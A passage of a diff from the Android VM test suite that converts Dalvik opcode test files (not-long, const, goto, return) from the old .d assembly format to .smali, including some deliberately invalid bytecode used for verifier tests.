--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_5.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_not_long_5.java"
+.class  public Ldot/junit/opcodes/not_long/d/T_not_long_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)J
+.registers 5
+
+       not-long v0, v4
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_6.d
deleted file mode 100644
index 4d511df..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_6.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_not_long_6.java
-.class public dot.junit.opcodes.not_long.d.T_not_long_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)J
-.limit regs 5
-
-       not-long v0, v2
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_6.smali
new file mode 100644
index 0000000..a0b7ba8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_6.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_not_long_6.java"
+.class  public Ldot/junit/opcodes/not_long/d/T_not_long_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)J
+.registers 5
+
+       not-long v0, v2
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_const/d/T_opc_const_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_const/d/T_opc_const_1.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/opc_const/d/T_opc_const_1.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/opc_const/d/T_opc_const_1.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_const/d/T_opc_const_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_const/d/T_opc_const_1.smali
new file mode 100644
index 0000000..b586c19
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_const/d/T_opc_const_1.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/opc_const/d/T_opc_const_1;
+.super Ljava/lang/Object;
+.source "T_opc_const_1.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()F
+    .registers 3
+
+    const v1, 0x3fc51eb8    # 1.54f
+
+    return v1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_const/d/T_opc_const_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_const/d/T_opc_const_2.d
deleted file mode 100644
index d651fe92..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_const/d/T_opc_const_2.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_opc_const_2.java
-.class public dot.junit.opcodes.opc_const.d.T_opc_const_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 255
-
-       const v254, 20000000
-       return v254
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_const/d/T_opc_const_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_const/d/T_opc_const_2.smali
new file mode 100644
index 0000000..96121c4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_const/d/T_opc_const_2.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_opc_const_2.java"
+.class  public Ldot/junit/opcodes/opc_const/d/T_opc_const_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 255
+
+       const v254, 20000000
+       return v254
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_const/d/T_opc_const_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_const/d/T_opc_const_3.d
deleted file mode 100644
index d0065db..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_const/d/T_opc_const_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_opc_const_3.java
-.class public dot.junit.opcodes.opc_const.d.T_opc_const_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v3, 1234
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_const/d/T_opc_const_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_const/d/T_opc_const_3.smali
new file mode 100644
index 0000000..0e2125d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_const/d/T_opc_const_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_opc_const_3.java"
+.class  public Ldot/junit/opcodes/opc_const/d/T_opc_const_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v3, 1234
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_const/d/T_opc_const_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_const/d/T_opc_const_4.d
deleted file mode 100644
index f2d5697..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_const/d/T_opc_const_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_opc_const_4.java
-.class public dot.junit.opcodes.opc_const.d.T_opc_const_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()J
-.limit regs 3
-       const-wide v0, 1234    
-       const v1, 1234
-
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_const/d/T_opc_const_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_const/d/T_opc_const_4.smali
new file mode 100644
index 0000000..f0f28d9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_const/d/T_opc_const_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_opc_const_4.java"
+.class  public Ldot/junit/opcodes/opc_const/d/T_opc_const_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 3
+       const-wide v0, 1234    
+       const v1, 1234
+
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_goto/d/T_opc_goto_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_goto/d/T_opc_goto_1.d
deleted file mode 100644
index e9b75ae..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_goto/d/T_opc_goto_1.d
+++ /dev/null
@@ -1,44 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_opc_goto_1.java
-.class public dot.junit.opcodes.opc_goto.d.T_opc_goto_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 5
-; test positive offset
-      goto Label2
-LabelReturn:      
-      return v4
-      
-Label2:
-       add-int/lit8 v4, v4, -1
-       if-lez v4, LabelExit
-; test negative offset       
-       goto Label2
-       
-LabelExit:       
-       goto LabelReturn
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_goto/d/T_opc_goto_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_goto/d/T_opc_goto_1.smali
new file mode 100644
index 0000000..437b9c7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_goto/d/T_opc_goto_1.smali
@@ -0,0 +1,44 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_opc_goto_1.java"
+.class  public Ldot/junit/opcodes/opc_goto/d/T_opc_goto_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 5
+# test positive offset
+      goto :Label2
+:LabelReturn
+      return v4
+      
+:Label2
+       add-int/lit8 v4, v4, -1
+       if-lez v4, :LabelExit
+# test negative offset       
+       goto :Label2
+       
+:LabelExit
+       goto :LabelReturn
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_goto/d/T_opc_goto_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_goto/d/T_opc_goto_2.d
deleted file mode 100644
index 8cb3602..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_goto/d/T_opc_goto_2.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_opc_goto_2.java
-.class public dot.junit.opcodes.opc_goto.d.T_opc_goto_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 5
-      goto Label2
-Label2:
-       return v4
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_goto/d/T_opc_goto_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_goto/d/T_opc_goto_2.smali
new file mode 100644
index 0000000..40c1036
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_goto/d/T_opc_goto_2.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_opc_goto_2.java"
+.class  public Ldot/junit/opcodes/opc_goto/d/T_opc_goto_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 5
+      goto :Label2
+:Label2
+       return v4
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_goto/d/T_opc_goto_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_goto/d/T_opc_goto_3.d
deleted file mode 100644
index 8edcca6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_goto/d/T_opc_goto_3.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_opc_goto_3.java
-.class public dot.junit.opcodes.opc_goto.d.T_opc_goto_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 5
-      goto Label2
-Label2:
-       return v4
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_goto/d/T_opc_goto_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_goto/d/T_opc_goto_3.smali
new file mode 100644
index 0000000..84fa4e1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_goto/d/T_opc_goto_3.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_opc_goto_3.java"
+.class  public Ldot/junit/opcodes/opc_goto/d/T_opc_goto_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 5
+      goto :Label2
+:Label2
+       return v4
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_goto/d/T_opc_goto_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_goto/d/T_opc_goto_4.d
deleted file mode 100644
index 6c29f65..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_goto/d/T_opc_goto_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_opc_goto_4.java
-.class public dot.junit.opcodes.opc_goto.d.T_opc_goto_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 5
-      goto Label1
-Label1:      
-      return v4
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_goto/d/T_opc_goto_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_goto/d/T_opc_goto_4.smali
new file mode 100644
index 0000000..394c2c6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_goto/d/T_opc_goto_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_opc_goto_4.java"
+.class  public Ldot/junit/opcodes/opc_goto/d/T_opc_goto_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 5
+      goto :Label1
+:Label1
+      return v4
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_1.d
deleted file mode 100644
index 29ae5bd..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_1.d
+++ /dev/null
@@ -1,70 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_opc_return_1.java
-.class public dot.junit.opcodes.opc_return.d.T_opc_return_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 10
-    
-    const v1, 1
-    const v2, 2
-    const v3, 3
-    
-    const v4, 0xdddd
-        
-    invoke-static {}, dot/junit/opcodes/opc_return/d/T_opc_return_1/test()I
-    move-result v6
-    
-    if-ne v4, v6, Label0
-
-    const v4, 1    
-    if-ne v1, v4, Label0
-    
-    const v4, 2    
-    if-ne v2, v4, Label0
-
-    const v4, 3
-    if-ne v3, v4, Label0
-    
-    const v0, 123456
-    return v0
-
-Label0:
-    const v0, 0
-    return v0
-.end method
-
-.method private static test()I
-.limit regs 6
-    
-    const v0, 9999
-    const v1, 0xaaa
-    const v2, 0xbbbb
-    const v3, 0xcccc
-    
-    const v4, 0xdddd
-    return v4
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_1.smali
new file mode 100644
index 0000000..41b3704
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_1.smali
@@ -0,0 +1,70 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_opc_return_1.java"
+.class  public Ldot/junit/opcodes/opc_return/d/T_opc_return_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 10
+    
+    const v1, 1
+    const v2, 2
+    const v3, 3
+    
+    const v4, 0xdddd
+        
+    invoke-static {}, Ldot/junit/opcodes/opc_return/d/T_opc_return_1;->test()I
+    move-result v6
+    
+    if-ne v4, v6, :Label0
+
+    const v4, 1    
+    if-ne v1, v4, :Label0
+    
+    const v4, 2    
+    if-ne v2, v4, :Label0
+
+    const v4, 3
+    if-ne v3, v4, :Label0
+    
+    const v0, 123456
+    return v0
+
+:Label0
+    const v0, 0
+    return v0
+.end method
+
+.method private static test()I
+.registers 6
+    
+    const v0, 9999
+    const v1, 0xaaa
+    const v2, 0xbbbb
+    const v3, 0xcccc
+    
+    const v4, 0xdddd
+    return v4
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_3.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_3.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_3.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_3.smali
new file mode 100644
index 0000000..cdef65f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_3.smali
@@ -0,0 +1,55 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/opc_return/d/T_opc_return_3;
+.super Ljava/lang/Object;
+.source "T_opc_return_3.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+.method private declared-synchronized test()F
+    .registers 4
+
+    new-instance v2, Ljava/lang/Object;
+
+    invoke-direct {v2}, Ljava/lang/Object;-><init>()V
+
+    monitor-enter v2
+
+    monitor-exit p0
+
+    const v0, 0x3f800000    # 1.0f
+
+    return v0
+.end method
+
+
+# virtual methods
+.method public run()Z
+    .registers 1
+
+    invoke-direct {p0}, Ldot/junit/opcodes/opc_return/d/T_opc_return_3;->test()F
+
+    const p0, 0x1
+
+    return p0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_5.d
deleted file mode 100644
index 884ce2d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_opc_return_5.java
-.class public dot.junit.opcodes.opc_return.d.T_opc_return_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()J
-.limit regs 6
-    
-    const v0, 1
-    return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_5.smali
new file mode 100644
index 0000000..12d48c1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
